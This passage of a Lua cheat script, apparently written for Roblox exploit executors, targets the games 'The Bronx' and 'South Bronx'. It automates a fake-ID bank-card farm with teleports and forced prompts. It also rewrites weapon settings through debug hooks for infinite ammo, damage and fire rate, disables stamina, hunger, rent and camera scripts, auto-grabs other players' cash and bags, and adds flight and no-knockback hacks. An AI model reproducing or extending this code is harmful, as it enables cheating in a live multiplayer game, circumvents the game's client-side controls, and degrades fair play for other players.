application was successful. Please allow 30 seconds for the bank to prepare your card." then
                        Application_Successful = true
                        playerHasCard = true
                    else
                        Application_Successful = false
                        playerHasCard = false
                    end
                end)

                repeat RunService.RenderStepped:Wait() if
LocalPlayer.Backpack:FindFirstChild("Fake ID") then
                    pcall(function()

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Fake ID"))
                    end)
                end

                until LocalPlayer.Character:FindFirstChild("Fake ID")

                repeat RunService.RenderStepped:Wait() until
Workspace.NPCs:FindFirstChild("Bank Teller")

                repeat fireproximityprompt(Workspace.NPCs:FindFirstChild("Bank
Teller").UpperTorso.Attachment:FindFirstChild("ProximityPrompt")) task.wait() until not
LocalPlayer.Character:FindFirstChild("Fake ID")
```

```
                        task.wait(1)


LocalPlayer.PlayerGui.Main.Message.Warning:GetPropertyChangedSignal("Text"):Wait()

                        task.spawn(function()
                            task.wait(3)
                            Old:Disconnect()
                        end)

                        task.wait(.5)

                        if Application_Successful == false then
                            continue
                        end

                        task.wait(1.5)

                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-43, 4, -332))

                        task.wait(1.5)

                        repeat RunService.RenderStepped:Wait()
fireproximityprompt(Workspace.Blank.Attachment.ProximityPrompt) until
LocalPlayer.Backpack:FindFirstChild("Card")

                        playerHasCard = false
                    end
                else
                    local Teleport_Status = Teleport(CFrame.new(-49, 4, -323))

                    repeat RunService.RenderStepped:Wait() until
Workspace.NPCs:FindFirstChild("Bank Teller")

                    repeat RunService.RenderStepped:Wait() until Teleport_Status ==
"Success"

                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-49, 4, -321))

                    task.wait(2.1)

                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-43, 4, -332))

                    task.wait(1.5)

                    repeat RunService.RenderStepped:Wait()
fireproximityprompt(Workspace.Blank.Attachment.ProximityPrompt) until
LocalPlayer.Backpack:FindFirstChild("Card")

                    playerHasCard = false
                end

                if not LocalPlayer.Backpack:FindFirstChild("Card") and not
LocalPlayer.Character:FindFirstChild("Card") then
```

```
            continue
        end

        local ATM;

        for Index, Value in Workspace.Map.ATMS:GetChildren() do
            if Value.ATMScreen.Transparency == 0 then
                ATM = Value
                break
            end
        end

        if ATM == nil then
            repeat RunService.RenderStepped:Wait()

            for Index, Value in Workspace.Map.ATMS:GetChildren() do
                if Value.ATMScreen.Transparency == 0 then
                    ATM = Value
                    break
                end
            end

            until ATM ~= nil
        end

        task.wait(1)

        local Teleport_Status = Teleport(ATMPositions[tostring(ATM)])

        repeat RunService.RenderStepped:Wait() until Teleport_Status == "Success"


LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Card"))

        --PressKey(Enum.KeyCode.LeftShift, .25) task.wait(.25)
        PressKey(Enum.KeyCode.W, .25) task.wait(.25)
        PressKey(Enum.KeyCode.S, .25) task.wait(.25)
        PressKey(Enum.KeyCode.A, .25) task.wait(.25)
        PressKey(Enum.KeyCode.D, .25) task.wait(.25)

        task.wait(1.25)

        LocalPlayer.Character.Humanoid:MoveTo(ATM.CFrame.Position)

        task.wait(2.5)

        --PressKey(Enum.KeyCode.LeftShift, .25) task.wait(.25)
        PressKey(Enum.KeyCode.W, .25) task.wait(.25)
        PressKey(Enum.KeyCode.S, .25) task.wait(.25)
        PressKey(Enum.KeyCode.A, .25) task.wait(.25)
        PressKey(Enum.KeyCode.D, .25) task.wait(.25)

        task.wait(1.25)
```

```
                    fireproximityprompt(ATM.Attachment.ProximityPrompt)

                    LocalPlayer.Character.Humanoid:MoveTo(ATM.CFrame.Position)

                    if ATM.ATMScreen.Transparency == 1 then
                        continue
                    end

                    repeat RunService.RenderStepped:Wait() until
LocalPlayer.PlayerGui:FindFirstChild("ATM")

                    Services.VirtualUser:CaptureController()

                    LocalPlayer.PlayerGui.ATM.Frame.Swipe.Position = UDim2.new(-3.0742092,
0, -0.270338974, 0)

                    task.wait(0.5)

                    LocalPlayer.PlayerGui.ATM.Frame.Swipe.Size = UDim2.new(1001 +
Random.new():NextNumber(0.1, 1), 0, 1001 + Random.new():NextNumber(0.1, 1), 0)

                    task.wait(0.5)

                    repeat RunService.RenderStepped:Wait()
                    if LocalPlayer.PlayerGui:FindFirstChild("ATM") then
                        Services.VirtualUser:CaptureController() ;

Services.VirtualUser:ClickButton1(Vector2.new(LocalPlayer.PlayerGui.ATM.Frame.Swipe.Absol
utePosition))
                    end

                    until not LocalPlayer.PlayerGui:FindFirstChild("ATM")

                    task.wait(3)
                 else
                    if playerHasCard == false then
                        if not LocalPlayer.Backpack:FindFirstChild("Fake ID") and not
LocalPlayer.Character:FindFirstChild("Fake ID") and not
LocalPlayer.Backpack:FindFirstChild("Card") and not
LocalPlayer.Character:FindFirstChild("Card") then
                            local DistanceFromFakeIDSeller =
GetDistance(LocalPlayer.Character.HumanoidRootPart.Position,
Vector3.new(219.42543029785156, 3.7371325492858887, -332.2640686035156))

                            local Tween =
Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart,
TweenInfo.new(GetTweenSpeed(DistanceFromFakeIDSeller), Enum.EasingStyle.Linear),
{CFrame = CFrame.new(219.42543029785156, 3.7371325492858887, -332.2640686035156)})

                            PressKeyTween(Enum.KeyCode.W, Tween) ;
PressKeyTween(Enum.KeyCode.LeftShift, Tween)

                            Tween:Play() ; Tween.Completed:Wait() ; Tween = nil
```

```
                    repeat RunService.RenderStepped:Wait()
fireproximityprompt(Workspace.NPCs.FakeIDSeller.UpperTorso.Attachment:FindFirstChild("Pro
ximityPrompt")) until LocalPlayer.Backpack:FindFirstChild("Fake ID") or
LocalPlayer.Character:FindFirstChild("Fake ID")

                    repeat RunService.RenderStepped:Wait() if
LocalPlayer.Backpack:FindFirstChild("Fake ID") then
                        pcall(function()

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Fake ID"))
                        end)
                    end

                    until LocalPlayer.Character:FindFirstChild("Fake ID")
                end

                if not LocalPlayer.Backpack:FindFirstChild("Card") and not
LocalPlayer.Character:FindFirstChild("Card") then
                    local DistanceFromFakeBankClerk =
GetDistance(LocalPlayer.Character.HumanoidRootPart.Position,
Vector3.new(-49.03115463256836, 3.7371387481689453, -323.28619384765625))

                    local Tween =
Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart,
TweenInfo.new(GetTweenSpeed(DistanceFromFakeBankClerk), Enum.EasingStyle.Linear),
{CFrame = CFrame.new(-49.03115463256836, 3.7371387481689453, -323.28619384765625)})

                    PressKeyTween(Enum.KeyCode.W, Tween) ;
PressKeyTween(Enum.KeyCode.LeftShift, Tween)

                    Tween:Play() ; Tween.Completed:Wait() ; Tween = nil

                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-49, 4, -321))

                    task.wait(2.1)

                    local Application_Successful = false
                    local Old ; Old =
LocalPlayer.PlayerGui.Main.Message.Warning:GetPropertyChangedSignal("Text"):Connect(func
tion()
                        if not
LocalPlayer.PlayerGui.Main.Message.Warning.Text:find("application") then return end

                        if LocalPlayer.PlayerGui.Main.Message.Warning.Text == "Your
application was successful. Please allow 30 seconds for the bank to prepare your card." then
                            Application_Successful = true
                            playerHasCard = true
                        else
                            Application_Successful = false
                            playerHasCard = false
                        end
                    end)
```

```
                        repeat RunService.RenderStepped:Wait() if
LocalPlayer.Backpack:FindFirstChild("Fake ID") then
                            pcall(function()

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Fake ID"))
                            end)
                        end

                        until LocalPlayer.Character:FindFirstChild("Fake ID")

                        repeat RunService.RenderStepped:Wait() until
Workspace.NPCs:FindFirstChild("Bank Teller")

                        repeat fireproximityprompt(Workspace.NPCs:FindFirstChild("Bank
Teller").UpperTorso.Attachment:FindFirstChild("ProximityPrompt")) task.wait() until not
LocalPlayer.Character:FindFirstChild("Fake ID")

                        task.wait(1)


LocalPlayer.PlayerGui.Main.Message.Warning:GetPropertyChangedSignal("Text"):Wait()

                        task.spawn(function()
                            task.wait(3)
                            Old:Disconnect()
                        end)

                        task.wait(.5)

                        if Application_Successful == false then
                            continue
                        end

                        task.wait(1.5)

                        LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-43, 4, -332))

                        task.wait(1.5)

                        repeat RunService.RenderStepped:Wait()
fireproximityprompt(Workspace.Blank.Attachment.ProximityPrompt) until
LocalPlayer.Backpack:FindFirstChild("Card")

                        playerHasCard = false
                    end
                else
                    local DistanceFromFakeBankClerk =
GetDistance(LocalPlayer.Character.HumanoidRootPart.Position,
Vector3.new(-49.03115463256836, 3.7371387481689453, -323.28619384765625))

                    local Tween =
Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart,
TweenInfo.new(GetTweenSpeed(DistanceFromFakeBankClerk), Enum.EasingStyle.Linear),
{CFrame = CFrame.new(-49.03115463256836, 3.7371387481689453, -323.28619384765625)})
```

```
                    PressKeyTween(Enum.KeyCode.W, Tween) ;
PressKeyTween(Enum.KeyCode.LeftShift, Tween)

                    Tween:Play() ; Tween.Completed:Wait() ; Tween = nil

                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-49, 4, -321))

                    task.wait(2.1)

                    LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(-43, 4, -332))

                    task.wait(1.5)

                    repeat RunService.RenderStepped:Wait()
fireproximityprompt(Workspace.Blank.Attachment.ProximityPrompt) until
LocalPlayer.Backpack:FindFirstChild("Card")

                    playerHasCard = false
                end

                if not LocalPlayer.Backpack:FindFirstChild("Card") and not
LocalPlayer.Character:FindFirstChild("Card") then
                    continue
                end

                task.wait(3)

                local ATM;

                local function GetClosestATM()
                    local ATMClosestTable = {}

                    for Index, Value in Workspace.Map.ATMS:GetChildren() do
                        if Value.ATMScreen.Transparency == 0 then
                            table.insert(ATMClosestTable, {ATM = Value, Range =
(LocalPlayer.Character.HumanoidRootPart.Position - Value.Position).Magnitude})
                        end
                    end

                    table.sort(ATMClosestTable, function(...)
                        return select(1, ...).Range < select(2, ...).Range
                    end)

                    return ATMClosestTable[1] ~= nil and ATMClosestTable[1].ATM or nil
                end

                repeat RunService.RenderStepped:Wait() until GetClosestATM() ~= nil

                ATM = GetClosestATM()

                task.wait(1)
```

```
                    local DistanceFromATM =
GetDistance(LocalPlayer.Character.HumanoidRootPart.Position,
ATMPositions[tostring(ATM)].Position)

                    local Tween =
Services.TweenService:Create(LocalPlayer.Character.HumanoidRootPart,
TweenInfo.new(GetTweenSpeed(DistanceFromATM), Enum.EasingStyle.Linear), {CFrame =
ATMPositions[tostring(ATM)]})

                    PressKeyTween(Enum.KeyCode.W, Tween) ;
PressKeyTween(Enum.KeyCode.LeftShift, Tween)

                    Tween:Play() ; Tween.Completed:Wait() ; Tween = nil

                    LocalPlayer.Character.Humanoid:MoveTo(ATM.CFrame.Position)

                    task.wait(4)

                    fireproximityprompt(ATM.Attachment.ProximityPrompt)

                    if ATM.ATMScreen.Transparency == 1 then
                        continue
                    end

                    if LocalPlayer.Backpack:FindFirstChild("Card") then

LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("Card"))

                        task.wait(1)
                    end

                    repeat RunService.RenderStepped:Wait() until
LocalPlayer.PlayerGui:FindFirstChild("ATM")

                    Services.VirtualUser:CaptureController()

                    LocalPlayer.PlayerGui.ATM.Frame.Swipe.Position = UDim2.new(-3.0742092,
0, -0.270338974, 0)

                    task.wait(0.5)

                    LocalPlayer.PlayerGui.ATM.Frame.Swipe.Size = UDim2.new(1001 +
Random.new():NextNumber(0.1, 1), 0, 1001 + Random.new():NextNumber(0.1, 1), 0)

                    task.wait(0.5)

                    repeat RunService.RenderStepped:Wait()
                    if LocalPlayer.PlayerGui:FindFirstChild("ATM") then
                        Services.VirtualUser:CaptureController() ;

Services.VirtualUser:ClickButton1(Vector2.new(LocalPlayer.PlayerGui.ATM.Frame.Swipe.Absol
utePosition))
                    end
```

```
            until not LocalPlayer.PlayerGui:FindFirstChild("ATM")

            task.wait(3)
        end
    end
end))
end

Stop_CardFarm = LPH_NO_VIRTUALIZE(function()
    if not CardFarm_Thread then return end
    if coroutine.status(CardFarm_Thread) == "suspended" then
        task.cancel(CardFarm_Thread)
    end
end)

local Humanoid = LocalPlayer.Character:WaitForChild("Humanoid")

Humanoid.Died:Connect(function()
    tp_debounce = false

    if Config.South_Bronx.FarmingUtilities.CardFarm then
        Stop_CardFarm()
    end

    if Config.South_Bronx.FarmingUtilities.BoxFarm then
        Stop_BoxFarm()
    end

    if Config.South_Bronx.FarmingUtilities.ChipFarm then
        Stop_ChipFarm()
    end

    if Config.South_Bronx.FarmingUtilities.MarshmallowFarm then
        Stop_MarshmallowFarm()
    end
end)

LocalPlayer.CharacterAdded:Connect(function(Character)
    Humanoid = Character:WaitForChild("Humanoid")
    tp_debounce = false

    if Config.South_Bronx.FarmingUtilities.CardFarm then
        Stop_CardFarm()
        task.wait(10)
        Start_CardFarm()
    end

    if Config.South_Bronx.FarmingUtilities.BoxFarm then
        Stop_BoxFarm()
        task.wait(10)
        Start_BoxFarm()
    end

    if Config.South_Bronx.FarmingUtilities.ChipFarm then
```

```
            Stop_ChipFarm()
            task.wait(10)
            Start_ChipFarm()
        end

        if Config.South_Bronx.FarmingUtilities.MarshmallowFarm then
            Stop_MarshmallowFarm()
            task.wait(10)
            Start_MarshmallowFarm()
        end

        Humanoid.Died:Connect(function()
            if Config.South_Bronx.FarmingUtilities.CardFarm then
                Stop_CardFarm()
            end

            if Config.South_Bronx.FarmingUtilities.BoxFarm then
                Stop_BoxFarm()
            end

            if Config.South_Bronx.FarmingUtilities.ChipFarm then
                Stop_ChipFarm()
            end

            if Config.South_Bronx.FarmingUtilities.MarshmallowFarm then
                Stop_MarshmallowFarm()
            end
        end)
    end)

    if Workspace:FindFirstChild("PromptPurchases") then
        GunPosition = {}

        for Index, Value in ReplicatedStorage.Workspace.PromptPurchases:GetChildren() do
            if Value:IsA("Model") and not
Workspace:FindFirstChild("PromptPurchases"):FindFirstChild(Value.Name) then
                Value.Parent = Workspace:FindFirstChild("PromptPurchases")
            end
        end

        for Index, Value in Workspace.PromptPurchases:GetChildren() do
            if not Value:FindFirstChild("Price") then continue end
            if not Value:FindFirstChild("proxprompt") then continue end
            if not Value:FindFirstChild("proxprompt"):FindFirstChildOfClass("ProximityPrompt")
then continue end

            local GunWithPrice = string.format("%s - $%s", tostring(Value),
tostring(Value.Price.Value))
            if not table.find(Config.South_Bronx.Guns, GunWithPrice) then
                table.insert(Config.South_Bronx.Guns, GunWithPrice)

                GunPosition[Value.Name] = Value.proxprompt.CFrame
            end
        end
```

```
            table.sort(Config.South_Bronx.Guns)
        end
    end

    if Game_Name == "The Bronx" then
        RequireSupport = type(select(2, pcall(require,
Services.ReplicatedStorage.BlacklistedMarketTools))) == "table"
    end

    if Game_Name == "The Bronx" and RequireSupport then
        local OldWeaponValues = {}

        local GetAllTools = LPH_NO_VIRTUALIZE(function(LocalToolsOnly)
            local Result = {}

            for _, Value in next, {not LocalToolsOnly and Lighting, LocalPlayer.Backpack,
LocalPlayer.Character ~= nil and LocalPlayer.Character} do
                if type(Value) == "userdata" then
                    for _, _Value in next, Value:GetChildren() do
                        --if _Value.Name == "TP9EliteTan" then continue end
                        Result[#Result + 1] = _Value
                    end
                end
            end

            return Result
        end)

        local GetPercentage = LPH_NO_VIRTUALIZE(function(DefaultValue, NewValue)
            NewValue = math.max(0, math.min(100, NewValue))

            local newRecoil = DefaultValue * (NewValue / 100)

            return newRecoil
        end)

        local ModWeapon = LPH_JIT_MAX(function(Weapon)
            local Module = Weapon:FindFirstChildOfClass("ModuleScript")
            local OldConfig = OldWeaponValues[Weapon.Name]

            if Module and Module.Name == "Setting" then
                Module = require(Module)
            else
                return
            end

            if SetInfiniteAmmo == nil then
                SetInfiniteAmmo = true
            end

            if SetInfiniteClips == nil then
                SetInfiniteClips = true
            end
```

```
            if Config.TheBronx._Modifications.InfiniteClips then
                debug.setupvalue(getsenv(Weapon:FindFirstChild("GunScript_Local")).Reload, 3,
9e17)

                SetInfiniteClips = false
            end

            if Config.TheBronx._Modifications.InfiniteClips == false and SetInfiniteClips == false
then
                debug.setupvalue(getsenv(Weapon:FindFirstChild("GunScript_Local")).Reload, 3,
OldConfig.AmmoPerMag)

                SetInfiniteClips = true
            end

            if Config.TheBronx._Modifications.InfiniteAmmo then
                debug.setupvalue(getsenv(Weapon:FindFirstChild("GunScript_Local")).Reload, 5,
Config.TheBronx._Modifications.InfiniteAmmo and 9e17 or OldConfig.AmmoPerMag / 2)
                SetInfiniteAmmo = false
            end

            if Config.TheBronx._Modifications.InfiniteAmmo == false and SetInfiniteAmmo ==
false then
                debug.setupvalue(getsenv(Weapon:FindFirstChild("GunScript_Local")).Reload, 5,
OldConfig.AmmoPerMag)

                SetInfiniteAmmo = true
            end

            Module.LimitedAmmoEnabled = false

            Module.FireRate = Config.TheBronx._Modifications.ModifyFireRate and
GetPercentage(OldConfig.FireRate, Config.TheBronx._Modifications.FireRateSpeed) or
OldConfig.FireRate

            Module.ReloadTime = Config.TheBronx._Modifications.ModifyReloadSpeed and
GetPercentage(OldConfig.ReloadTime, Config.TheBronx._Modifications.ReloadSpeed) or
OldConfig.ReloadTime

            if Module.SpreadXY then
                Module.SpreadXY = Config.TheBronx._Modifications.ModifySpreadValue and
GetPercentage(OldConfig.SpreadXY, Config.TheBronx._Modifications.SpreadPercentage) or
OldConfig.SpreadXY
            end

            if Module.SpreadYX then
                Module.SpreadYX = Config.TheBronx._Modifications.ModifySpreadValue and
GetPercentage(OldConfig.SpreadYX, Config.TheBronx._Modifications.SpreadPercentage) or
OldConfig.SpreadYX
            end

            if Module.Spread then
```

```
            Module.Spread = Config.TheBronx._Modifications.ModifySpreadValue and
GetPercentage(OldConfig.Spread, Config.TheBronx._Modifications.SpreadPercentage) or
OldConfig.Spread
        end

        Module.SpreadX = Config.TheBronx._Modifications.ModifySpreadValue and
GetPercentage(OldConfig.SpreadX, Config.TheBronx._Modifications.SpreadPercentage) or
OldConfig.SpreadX
        Module.SpreadY = Config.TheBronx._Modifications.ModifySpreadValue and
GetPercentage(OldConfig.SpreadY, Config.TheBronx._Modifications.SpreadPercentage) or
OldConfig.SpreadY

        Module.Recoil = Config.TheBronx._Modifications.ModifyRecoilValue and
GetPercentage(OldConfig.Recoil, Config.TheBronx._Modifications.RecoilPercentage) or
OldConfig.Recoil

        Module.BaseDamage = Config.TheBronx._Modifications.InfiniteDamage and
math.huge or OldConfig.BaseDamage

        Module.Auto = Config.TheBronx._Modifications.Automatic or OldConfig.Auto

        Module.JamChance = Config.TheBronx._Modifications.DisableJamming and 0 or
OldConfig.JamChance

        Module.Auto = Config.TheBronx._Modifications.Automatic or OldConfig.Auto

        Module.EquipTime = Config.TheBronx._Modifications.ModifyEquipSpeed and
GetPercentage(OldConfig.EquipTime, Config.TheBronx._Modifications.EquipSpeed) or
OldConfig.EquipTime

        Module.JamChance = Config.TheBronx._Modifications.NoJam and 0 or
OldConfig.JamChance
    end)

    local ModWeapons = LPH_NO_VIRTUALIZE(function()
        for _, Weapon in next, GetAllTools(true) do
            if Weapon:IsA("Tool") then
                ModWeapon(Weapon)
            end
        end
    end)

    local SetValues = LPH_NO_VIRTUALIZE(function()
        for _, Weapon in next, GetAllTools() do
            if Weapon:IsA("Tool") then
                local Module = Weapon:FindFirstChildOfClass("ModuleScript")

                if Module and Module.Name == "Setting" then
                    Module = require(Module)
                end

                if type(Module) == "table" and not OldWeaponValues[Weapon.Name] then
                    OldWeaponValues[Weapon.Name] = {}
```

```
            local OldConfig = OldWeaponValues[Weapon.Name]

            for Index, Value in next, Module do
                OldConfig[Index] = Value
            end
        end
    end
end)

if not LocalPlayer.Character then LocalPlayer.CharacterAdded:Wait() end

LocalPlayer.Character.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Value)
    if not Value:IsA("Tool") then return end

    SetValues()

    ModWeapon(Value);
end))

LocalPlayer.Backpack.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Value)
    if not Value:IsA("Tool") then return end

    SetValues()

    ModWeapon(Value);
end))

LocalPlayer.CharacterAdded:Connect(function(Character)
    Character.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Value)
        if not Value:IsA("Tool") then return end

        SetValues()

        ModWeapon(Value);
    end))

    LocalPlayer.Backpack.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Value)
        if not Value:IsA("Tool") then return end

        SetValues()

        ModWeapon(Value);
    end))
end)

local ConfigMetatable = getmetatable(Config.TheBronx.Modifications)

ConfigMetatable.__index = LPH_NO_VIRTUALIZE(function(...)
    return Config.TheBronx._Modifications[select(2, ...)]
end)

ConfigMetatable.__newindex = LPH_NO_VIRTUALIZE(function(...)
    local Index, Value = select(2, ...)
```

```
            Config.TheBronx._Modifications[Index] = Value; ModWeapons()
        end)
    end

    if Game_Name == "The Bronx" then
        RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function()
            if LocalPlayer.PlayerGui:FindFirstChild("Run") and
LocalPlayer.PlayerGui.Run:FindFirstChild("StaminaBarScript", true) then
                LocalPlayer.PlayerGui.Run:FindFirstChild("StaminaBarScript", true).Disabled =
Config.TheBronx.PlayerModifications.InfiniteStamina
            end

            if LocalPlayer.PlayerGui:FindFirstChild("Hunger") and
LocalPlayer.PlayerGui.Hunger:FindFirstChild("HungerBarScript", true) then
                LocalPlayer.PlayerGui.Hunger:FindFirstChild("HungerBarScript", true).Disabled =
Config.TheBronx.PlayerModifications.InfiniteHunger
            end

            if LocalPlayer.PlayerGui:FindFirstChild("SleepGui") and
LocalPlayer.PlayerGui.SleepGui:FindFirstChild("sleepScript", true) then
                LocalPlayer.PlayerGui.SleepGui:FindFirstChild("sleepScript", true).Disabled =
Config.TheBronx.PlayerModifications.InfiniteSleep
            end

            if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("CameraBobbing")
then
                LocalPlayer.Character:FindFirstChild("CameraBobbing").Disabled =
Config.TheBronx.PlayerModifications.DisableCameraBobbing
            end

            if LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("FallDamageRagdoll") then
                LocalPlayer.Character:FindFirstChild("FallDamageRagdoll").Disabled =
Config.TheBronx.PlayerModifications.NoFallDamage
            end

            if LocalPlayer.PlayerGui:FindFirstChild("BloodGui") then
                LocalPlayer.PlayerGui:FindFirstChild("BloodGui").Enabled = not
Config.TheBronx.PlayerModifications["DisableBloodEffects"]
            end

            if LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce") and
LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce"):FindFirstChild("LocalScript") then
                LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce").LocalScript.Disabled =
Config.TheBronx.PlayerModifications.NoJumpCooldown
            end

            if LocalPlayer.PlayerGui:FindFirstChild("CameraTexts") and
LocalPlayer.PlayerGui:FindFirstChild("CameraTexts"):FindFirstChild("LocalScript") then
                LocalPlayer.PlayerGui:FindFirstChild("CameraTexts").Enabled = not
Config.TheBronx.PlayerModifications.DisableCameras
                LocalPlayer.PlayerGui:FindFirstChild("CameraTexts").LocalScript.Disabled =
Config.TheBronx.PlayerModifications.DisableCameras
```

```
            end

            if LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce") and
LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce"):FindFirstChild("LocalScript") then
                LocalPlayer.PlayerGui:FindFirstChild("JumpDebounce").LocalScript.Disabled =
Config.TheBronx.PlayerModifications.NoJumpCooldown
            end

            if LocalPlayer.PlayerGui:FindFirstChild("RentGui") and
LocalPlayer.PlayerGui:FindFirstChild("RentGui"):FindFirstChild("LocalScript") then
                LocalPlayer.PlayerGui:FindFirstChild("RentGui").LocalScript.Disabled =
Config.TheBronx.PlayerModifications.NoRentPay
            end

            if Config.TheBronx.PlayerModifications.AutoPickupBags and LocalPlayer.Character
and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
                for Index, Value in next, Workspace.Storage:GetChildren() do
                    if not Value:IsA("MeshPart") then continue end
                    if Value:FindFirstChild("PlayerName") and
Value:FindFirstChild("PlayerName").Value == LocalPlayer.Name then continue end

                    if (Value.Position -
LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 5 then
                        fireproximityprompt(Value.stealprompt)
                    end
                end
            end

            if Config.TheBronx.PlayerModifications.AutoPickupCash and LocalPlayer.Character
and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
                for Index, Value in next, Workspace.Dollas:GetChildren() do
                    if not Value:IsA("Part") then continue end

                    if (Value.Position -
LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 5 then
                        fireproximityprompt(Value.ProximityPrompt)
                    end
                end
            end
        end))

        LocalPlayer.CharacterAdded:Connect(LPH_NO_VIRTUALIZE(function()
            if Config.TheBronx.PlayerModifications.DisableCameras then
                Lighting.Shiesty:FindFirstChildWhichIsA("RemoteEvent", true):FireServer()
            end
        end))

        UserInputService.InputBegan:Connect(LPH_NO_VIRTUALIZE(function(Input,
Game_Event)
            if Game_Event then return end
            if not Config.MiscSettings.ModifyJump.Infinity then return end

            if Input.KeyCode == Enum.KeyCode.Space then
```

```
                if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
and LocalPlayer.Character.Humanoid.Health ~= 0 then

LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
                end
            end
        end))

        local DeathFrame;

        if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then

LocalPlayer.Character:FindFirstChild("Humanoid").Died:Connect(LPH_NO_VIRTUALIZE(functio
n()
                DeathFrame = LocalPlayer.Character:WaitForChild("HumanoidRootPart").CFrame
            end))

            LocalPlayer.Character.DescendantAdded:Connect(function(Descendant)
                if Descendant:IsA("BodyVelocity") or Descendant:IsA("LinearVelocity") or
Descendant:IsA("VectorForce") and Config.TheBronx.PlayerModifications.NoKnockback then
                    task.wait(); Descendant:Destroy()
                end
            end)
        end

        LocalPlayer.CharacterAdded:Connect(LPH_NO_VIRTUALIZE(function(Character)
            Character:WaitForChild("Humanoid"); Character:WaitForChild("HumanoidRootPart");

            LocalPlayer.Character.DescendantAdded:Connect(function(Descendant)
                if Descendant:IsA("BodyVelocity") or Descendant:IsA("LinearVelocity") or
Descendant:IsA("VectorForce") and Config.TheBronx.PlayerModifications.NoKnockback then
                    task.wait(); Descendant:Destroy()
                end
            end)

            Character:WaitForChild("Humanoid").Died:Connect(function()
                DeathFrame = Character:WaitForChild("HumanoidRootPart").CFrame
            end)

            if Config.TheBronx.PlayerModifications.RespawnWhereYouDied and
typeof(DeathFrame) == "CFrame" then
                Character:WaitForChild("HumanoidRootPart").CFrame = DeathFrame
            end
        end))

        local KEYCODES = {
            [Enum.KeyCode.W] = true,
            [Enum.KeyCode.A] = true,
            [Enum.KeyCode.S] = true,
            [Enum.KeyCode.D] = true,
            [Enum.KeyCode.LeftControl] = true,
            [Enum.KeyCode.Space] = true
        }
```

```
local root = LocalPlayer.Character:WaitForChild("HumanoidRootPart")
local humanoid = LocalPlayer.Character:WaitForChild("Humanoid")
local input_keys = {}
local flight_registry = {}

-- Functions
local isKeysPressed = function(...)
   local keys = {...}
   for i = 1, #keys do
      if input_keys[keys[i]] then return 1 end
   end
   return 0
end

local getFlightDirection = function()
   return Vector3.new(
      isKeysPressed(Enum.KeyCode.D) - isKeysPressed(Enum.KeyCode.A),
      isKeysPressed(Enum.KeyCode.Space) -
isKeysPressed(Enum.KeyCode.LeftControl),
      isKeysPressed(Enum.KeyCode.S) - isKeysPressed(Enum.KeyCode.W)
   )
end

StartFlight = LPH_NO_VIRTUALIZE(function()
   if Config.MiscSettings.Fly.Type == "Classic" then
      local gyro = Instance.new("BodyGyro")
      local velo = Instance.new("BodyVelocity")
      table.insert(
         flight_registry,
         RunService.Stepped:Connect(function(t, dt)
            if not root or not humanoid then return end
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
            humanoid.PlatformStand = true
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
            local velocity = getFlightDirection() * Config.MiscSettings.Fly.Speed
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
            local orientation =
CFrame.fromEulerAnglesXYZ(Camera.CFrame:ToEulerAnglesXYZ())
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
            gyro.CFrame = orientation
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
            velo.Velocity = orientation:PointToWorldSpace(velocity)
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
            gyro.Parent = root
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
            velo.Parent = root
            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
         end)
      )
      table.insert(flight_registry, gyro)
      table.insert(flight_registry, velo)
      table.insert(flight_registry, function() humanoid.PlatformStand = false end)
      gyro.P = 9e4
```

```
            gyro.D = 1e3
            gyro.MaxTorque = Vector3.new(9e9, 9e9, 9e9)
            velo.MaxForce = Vector3.new(9e9, 9e9, 9e9)
        elseif Config.MiscSettings.Fly.Type == "CFrame" then
            table.insert(
                flight_registry,
                RunService.Stepped:Connect(function(t, dt)
                    if not root or not humanoid then return end
                    humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                    local velocity = getFlightDirection() * Config.MiscSettings.Fly.Speed * dt
                    humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                    local position, orientation = CFrame.new(root.Position),
CFrame.fromEulerAnglesXYZ(Camera.CFrame:ToEulerAnglesXYZ())
                    humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
